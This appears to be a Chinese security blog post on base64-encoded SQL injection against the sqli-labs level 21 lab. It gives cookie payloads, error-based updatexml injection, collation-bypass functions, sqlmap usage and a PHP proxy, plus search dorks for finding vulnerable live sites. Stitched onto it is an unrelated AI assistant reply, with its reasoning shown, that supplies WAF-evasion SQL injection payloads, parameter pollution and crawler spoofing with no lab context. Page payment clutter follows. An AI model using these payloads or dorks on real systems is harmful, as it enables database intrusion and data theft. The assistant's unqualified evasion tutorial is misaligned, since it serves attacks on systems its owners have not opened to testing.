SQL注入之BASE64变形注入

注入简介


什么是base64注入?

base64注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密意外,其中注入方式与常规注入一般无二

编码工具选择

在线工具:http://tool.oschina.net/encrypt?type=3

也可以使用burp中自带的编码模块(decoder)

如何发现此漏洞?

在互联网系统中,目前遇到两种base64加密传参方式

第一种,例如id=1,把id=1全部加密处理,得到aWQ9MQ==,直接搜索inurl:?aWQ0

第二种,只处理传参值,得到id=MQ==,搜索inurl:?id=M*=

注入实现


靶场选择

此处继续选用sqlilabs作为测试靶场,第21关,是关于cookie的base64变形注入

漏洞复现

打开靶场所在url,是一个登录界面输入用户名密码,admin/666666,登陆成功,界面如下图

从上图可以看到,系统返回了我们的cookie值,并且进行了编码,这里我们可以使用抓包修改cookie,经过解码,YWRtaW4 =的值是admin,对admin'进行编码,观察页面变化,如下图

尝试闭合原语句,payload:admin')#,如下图

由于这里发生mysql报错,直接尝试报错注入,payload:admin') and updatexml(1,concat(0x7e,database()),1)#,如下图

知识扩展


再继续测试的过程中可能会遇到,提示:Error: Illegal mix of collations for operation 'UNION',这种错误的成因是因为编码的缘故,字符集的编码不同所导致的,要解决就配合convart、using latin1函数来解决。

CONVERT() 函数是把日期转换为新数据类型的通用函数。

大致poyload如下

UNION SELECT 1,2,3,4,5,6,7,convert(Table_Name using latin1) from information_schema.tables Where table_Schema=database()--+

参考文章:https://www.2cto.com/article/201202/121073.html

There are 3 ways to bypass this error:
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))

 
Other ways (Thanks to benzi):
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

自动化工具


sqlmap

原则上,只要抓包加上–tamper base64encode扩展模块就可以了,未实验

第二个姿势,针对get型,可以尝试写一个demo

命名为test.php,如下

<?php 
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/xxx.php?{$id}");
?>

注意:xxx.php是原网站页面,结下了sqlmap语句可以直接写成

sqlmap-u "http://127.0.0.1/test.php?id=12" -v3

参考文章:https://www.cnblogs.com/xishaonian/p/6370354.html

暂时这些吧

<think>嗯,用户现在想知道如何绕过WAF进行SQL注入攻击。我需要整理一下相关的技术方法,确保回答准确且参考了提供的引用内容。首先,根据引用中的资料,绕过WAF的方法有很多种,比如使用注释符、特殊符号、编码解码、参数污染等。我得把这些方法分类,让结构更清晰。 用户可能对具体例子感兴趣,比如内联注释或者URL编码绕过。引用3提到用/**/替换空格,引用5里也有内联注释的例子。需要详细说明这些技术,并给出实际的payload示例,这样用户更容易理解。同时,还要注意引用的正确标注,比如在提到注释符绕过时,要加上引用[^3]或[^5]。 另外,用户可能想知道不同数据库的特性,比如MySQL的内联注释,或者如何利用参数污染。引用5提到了参数污染的方法,应该详细解释一下,并给出例子。比如使用多个参数来混淆WAF检测,这在引用5的第四种方法中有提到。 还需要考虑用户的实际应用场景,比如如何绕过特定的安全设备,比如安全狗。引用5中的例子使用了/*!42444and*/这样的内联注释,这可能针对特定版本的MySQL,需要说明版本号的作用。 此外,用户可能对如何组合多种技术感兴趣,比如同时使用注释和编码。引用4中提到特殊符号和函数分解,可能需要结合这些方法构造复杂的payload。同时,模糊测试(Fuzz)也是一个重要点,引用4和5都有提到,应该包含在回答里。 最后,要确保回答结构清晰,分点列出方法,每个方法下都有示例和对应的引用来源。这样用户能够逐步理解不同的绕过技术,并知道如何应用。需要避免技术错误,比如正确使用内联注释的语法,以及编码的正确方式,比如十六进制或URL编码。</think>### SQL注入绕过WAF的技术方法 #### 一、注释符绕过 1. **普通注释符** 通过`/**/`或`#`替换空格或干扰检测,例如: ```sql UNION/**/SELECT/**/1,2,column_name/**/FROM/**/information_schema.columns ``` 此方法可绕过对空格的检测,适用于WAF过滤`UNION SELECT`组合的情况。 2. **内联注释(MySQL特有)** 使用`/*!版本号 内容*/`语法,若版本号大于数据库版本则注释内容会被执行: ```sql ?id=1'/*!44544AND*/'1'='1 ``` 通过添加高版本号的内联注释,可绕过部分WAF对关键字的检测[^5]。 --- #### 二、特殊符号与编码 1. **十六进制编码** 将表名或字符串转换为十六进制,例如`table_name=0x61645F6C696E6B`(对应`"ad_link"`)[^1]: ```sql UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x61645F6C696E6B ``` 2. **URL编码与混淆** 使用`%0A`(换行符)或`%23`(#号)干扰检测: ```sql ?id=1%0AUNION%0ASELECT%0A1,version(),3 ``` --- #### 三、参数污染与HTTP特性 1. **参数污染(HPP)** 通过多个同名参数混淆WAF解析: ``` ?id=1&id=/*&id=*/UNION SELECT 1,2,3 ``` 部分WAF可能仅检查第一个参数,从而绕过过滤[^5]。 2. **静态资源或白名单绕过** 伪造请求为静态文件(如`/test.jpg?id=1 UNION SELECT...`)或伪装成搜索引擎爬虫(修改`User-Agent`为百度爬虫)[^4]。 --- #### 四、函数与语法变形 1. **函数替代** 用等价函数替换被过滤的关键字,例如: ```sql SELECT substring(database(),1,1) → SELECT mid(database(),1,1) ``` 2. **分步注入与子查询** 分解复杂操作为多步,例如: ```sql ?id=1 AND (SELECT 1)=(SELECT 0x41*1000) UNION SELECT... ``` 通过构造大量数据干扰WAF的正则匹配[^2]。 --- #### 五、模糊测试(Fuzz)与自动化工具 1. **Payload变异** 使用工具(如`sqlmap tamper脚本`)自动生成混合大小写、添加随机注释等变体: ```sql UnIoN/*!88888SeLeCt*/1,@@version,3 ``` 2. **数据库特性利用** 如MySQL的`/*!50000关键字*/`语法、PostgreSQL的`||`运算符等,结合版本特性构造绕过[^5]。 --- #### 防御与绕过对抗要点 - **WAF规则局限性**:WAF通常基于正则表达式匹配,无法覆盖所有语法变形[^4]。 - **流量混淆**:通过多次编码(如双重URL编码+Base64)或分块传输(Chunked Encoding)绕过深度检测。 - **动态检测**:结合时间盲注或布尔盲注,减少直接回显的依赖。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值